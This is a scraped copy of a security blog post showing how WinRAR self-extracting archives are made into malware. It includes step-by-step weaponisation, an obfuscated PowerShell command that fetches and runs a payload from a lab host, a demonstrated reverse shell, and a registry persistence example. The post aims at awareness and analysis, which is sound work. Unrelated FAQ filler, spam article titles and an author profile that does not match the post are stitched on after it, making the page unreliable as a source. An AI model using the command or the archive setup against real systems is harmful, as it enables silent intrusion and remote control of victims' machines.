Click me & get hacked: SFX archive malware (2024)

Opening a normal zip file is totally safe, right?

Click me & get hacked: SFX archive malware (2)

Today I would like to show you why that is not always the case. I’ll start by explaining what self-extracting zip files are ( a.k.a SFX archives ), how they work and finish by showing you some real examples of how they can be used for malicious purposes.

In my last post I described how LNK files can be used by attackers to gain control on victim devices. If you haven’t yet read it, check it out :>

https://medium.com/@drthkol478/click-me-get-hacked-lnk-malware-87ef071630b2

Let’s get started.

Due to the fact that macros have disabled by default by Microsoft in Word and Excel documents, threat actors started to seek new ways of disguising and delivering their malware in phishing campaigns.

At the end of the day it always comes down to a file of some sort that executes a payload once opened by the user. Fortunately, normally there are many if’s that can prevent that.

For example, let’s imagine a payload that targets outdated software or macros that require you to click “OK” on a big yellow warning telling the user that this file may be dangerous.

Both these examples can be mitigated, either by proper cyber awareness trainings in your staff or by following security update guidelines and patching the software on the machines in your network.

But when it comes to SFX archives, the situation gets tricky. They’re just normal zip files with some additional settings. That means that if the malware is properly obfuscated, then even if the zip file is unencrypted and your AV can scan it, it simply won’t help much. The code inside will stay undetected and get executed anyway.

That’s why it is so important to understand how SFX archives work, to know what to expect when they are sent in a suspicious email and how to analyze what they’re doing :)

Self-extracting archives are simply put, a normal zip or rar file that contains so-called ‘SFX’ commands or modules. They give you the possibility to run a specific command once the archive gets opened.

The way in which they can be induced to execute code is similar to the case with LNK files. We can just set the SFX commands to execute a windows binary that downloads and executes the next stage of our payload.

To demonstrate how that can be achieve, I will show you how to create an SFX archive yourself, as the process itself is pretty trivial and takes just a couple of steps:

  1. Create a normal archive with winrar.
Click me & get hacked: SFX archive malware (3)

2. Check the “Convert Archive to SFX” option and choose the normal archive created in the previous step.

Click me & get hacked: SFX archive malware (4)

3. Go to SFX > Advanced SFX Options.

Click me & get hacked: SFX archive malware (5)

4. In the new SFX options windows, check the following two options in the Update tab to ensure the archive is properly extracted an will overwrite any copies of the archive content.

Click me & get hacked: SFX archive malware (6)

5. Enable the “Hide all” option to make the archive launch the SFX command without any open/installation window:

Click me & get hacked: SFX archive malware (7)

6. Finally, paste a LOLBIN command in the Setup tab. After that click OK and create the archive:

Click me & get hacked: SFX archive malware (8)
powershell.exe -WindowStyle Hidden -c "$buf = iwr('http://192.168.56.111:9000/userhistory_records');i''e''x($buf)"

This command will be run once the archive gets opened. We can find it by inspecting the archive and looking into the comment section, which lists the SFX module command:

Click me & get hacked: SFX archive malware (9)

For the purpose of presenting how sfx archives can be weaponized I’ll be using PowershellEmpire. I’ve covered how to set it up for such testing in my previous post about exploiting .lnk files :)

Now, let’s see our SFX sample in action. Below you can see what happens once it gets executed, establishing a reverse shell connection to my Powershell Empire C&C. I entered into the shell and executed a basic whoami command as a POC :>

Additionaly, in the second GIF you can see what network traces that this SFX payload leaves behind on the wire.

Click me & get hacked: SFX archive malware (10)

Pretty quick and stealthy. Of course, except the powershell window, but it still arouses way less suspicion than more classical phishing payloads :>

Click me & get hacked: SFX archive malware (11)

Interestingly, the possibilites aren’t limited to simply connecting back to a C2, as SFX archives can be used very creatively.

Cloudstrike SFX malware article:

https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/

For example, according to some CloudStrike research, adversaries were able to create a persistent backdoor on the target system by setting the “utilman” value in the Windows registry, which describes what to execute during logon to point at an encrypted SFX archive.

Once the user logged onto the victim machine, they were welcomed by a window asking for a password required to unzip the SFX archive:

Click me & get hacked: SFX archive malware (12)

If the password was provided, task manager, powershell and cmd windows were spawned, granting the attacker a backdoor that didn’t require them to know any user’s password.

Click me & get hacked: SFX archive malware (13)

The “Setup” tab containing the SFX commands in this case looked like this:

Click me & get hacked: SFX archive malware (14)

As you can see, the payload is incredibly simple, but powerfull as well, since there are no command line arguments here or anything that would make these commands stand out in the logs from the system!!

The one key takeaway from this case is that normal functionality combined with some creativity can lead to unintended ways of establishing persistence! Therefore we always need to stay curious and vigilant to notice novel techniques when they pop round the corner :)

  • Zip files can be easily weaponized into SFX archives for malicious purposes.
  • Fortunately you can inspect these files by looking at SFX properties and the comment section.
  • SFX archives can serve as a silent backdoor and if not encrypted require just to be double cliked to execute it’s “hidden” payload

That’s all for this post. I hope you liked it and learned something new!!

Click me & get hacked: SFX archive malware (2024)

FAQs

What is SFX cab archive? ›

A self-extracting archive (SFX or SEA) is a computer executable program which combines compressed data in an archive file with machine-executable code to extract the information. Running on a compatible operating system, it does not need a suitable extractor in the target computer to extract the data.

What is sfx archive in winrar? ›

An SFX (SelF-eXtracting) archive is an archive, merged with an executable module, which is used to extract files from the archive when executed. Thus no external program is necessary to extract the contents of an SFX archive, it is enough to execute it.

What are self-extracting files? ›

Self-extracting zip files is a convenient way to send users the exact file they need without downloading an installer. These files are often used when distributing software or other digital content through websites and email attachments.

Why does SFX mean? ›

SFX most commonly stands for sound effects in film and video, but it can also be used to describe special effects as a whole. Sound effects and special effects are used in film and video to influence the mood and reactions of the audience.

Is it OK to delete CAB files? ›

Windows updates, device installers, themes, and other software often use CAB files. If these CAB files take up significant storage space, you can safely delete them from the Windows Temp folder. However, ensuring no active installations are in progress is essential, as this may cause interruptions and errors.

Are WinRAR files safe? ›

Are RAR files safe to use? RAR files are usually safe to use. But just like regular files, compressed files (RAR or ZIP) can also contain viruses or malware. However, any virus compressed in a RAR file can't harm your device until you extract it.

What are decoy files? ›

Decoy files are used as bait on endpoints to help detect ransomware. When there is an attempt to modify a decoy file, the software identifies the process as ransomware and ends the process.

What does WinRAR archive do? ›

RAR files are compressed file(s) or data containers that can be created using WinRAR. They can hold one or more files or folders and can compress, open and encrypt RAR and ZIP files. RAR is the native format of the WinRAR Archiver.

What will happen if you extract files? ›

When you extract files from a zipped folder, a new folder with the same name is created which contains the files. The compressed (zipped) version also remains. Right-click the zipped folder saved to your computer. Choose "Extract All..." (an extraction wizard will begin).

What program extracts files? ›

WinZip for Windows - Zip Files, Unzip Files.

What is extracting files for? ›

Extract files is a way to remove or copy files from within a compressed file such as a . zip or . 7z. These can then be placed on a desktop, or in a local folder. Therefore users who want to make regular copies of the contained data can use this feature.

What do I do with a .cab file? ›

CAB files typically contain various Windows installations that might involve device drivers or system files. The installation engine extracts these files to use them to set up various software and hardware. Given such sensitive data, features like embedded digital certificates ensure file integrity.

What does auto expanding archive do? ›

When auto-expanding archiving is turned on, additional storage space is automatically added to a user's archive mailbox until it reaches the storage limit of 1.5 TB.

What does SFX mean in books? ›

abbreviation for

special effect(s).

What does SFX mean in a play? ›

Meaning of SFX in English

abbreviation for special effects : unusual pieces of action in a movie, or sometimes an entertainment on a stage, created by using particular equipment: Avatar is one of the best SFX movies ever made.

Top Articles
This Is What Caused Millennials to Be so Different
Is the US Moving Toward a Cashless Society?
Koopa Wrapper 1 Point 0
Faridpur Govt. Girls' High School, Faridpur Test Examination—2023; English : Paper II
Workday Latech Edu
Ofw Pinoy Channel Su
What happens if I deposit a bounced check?
Aiken County government, school officials promote penny tax in North Augusta
Best Theia Builds (Talent | Skill Order | Pairing + Pets) In Call of Dragons - AllClash
Craigslist Dog Sitter
Cars For Sale Tampa Fl Craigslist
Nashville Predators Wiki
ExploreLearning on LinkedIn: This month's featured product is our ExploreLearning Gizmos Pen Pack, the…
Binghamton Ny Cars Craigslist
Shannon Dacombe
Best Nail Salon Rome Ga
Immortal Ink Waxahachie
boohoo group plc Stock (BOO) - Quote London S.E.- MarketScreener
Www Craigslist Milwaukee Wi
SF bay area cars & trucks "chevrolet 50" - craigslist
Drago Funeral Home & Cremation Services Obituaries
Craigslist List Albuquerque: Your Ultimate Guide to Buying, Selling, and Finding Everything - First Republic Craigslist
Kashchey Vodka
Walmart Near South Lake Tahoe Ca
Wemod Vampire Survivors
Ceramic tiles vs vitrified tiles: Which one should you choose? - Building And Interiors
Globle Answer March 1 2023
kvoa.com | News 4 Tucson
Feathers
Skidware Project Mugetsu
Die wichtigsten E-Nummern
Puffin Asmr Leak
J&R Cycle Villa Park
Productos para el Cuidado del Cabello Después de un Alisado: Tips y Consejos
Martin Village Stm 16 & Imax
Stolen Touches Neva Altaj Read Online Free
Frostbite Blaster
Unlock The Secrets Of "Skip The Game" Greensboro North Carolina
Craigslist Mount Pocono
7543460065
Wisconsin Women's Volleyball Team Leaked Pictures
Despacito Justin Bieber Lyrics
Jamesbonchai
Rush Copley Swim Lessons
Quiktrip Maple And West
Dagelijkse hooikoortsradar: deze pollen zitten nu in de lucht
Craigslist Free Cats Near Me
Convert Celsius to Kelvin
Ocean County Mugshots
Leslie's Pool Supply Redding California
Latest Posts
Article information

Author: Virgilio Hermann JD

Last Updated:

Views: 6439

Rating: 4 / 5 (41 voted)

Reviews: 80% of readers found this page helpful

Author information

Name: Virgilio Hermann JD

Birthday: 1997-12-21

Address: 6946 Schoen Cove, Sipesshire, MO 55944

Phone: +3763365785260

Job: Accounting Engineer

Hobby: Web surfing, Rafting, Dowsing, Stand-up comedy, Ghost hunting, Swimming, Amateur radio

Introduction: My name is Virgilio Hermann JD, I am a fine, gifted, beautiful, encouraging, kind, talented, zealous person who loves writing and wants to share my knowledge and understanding with you.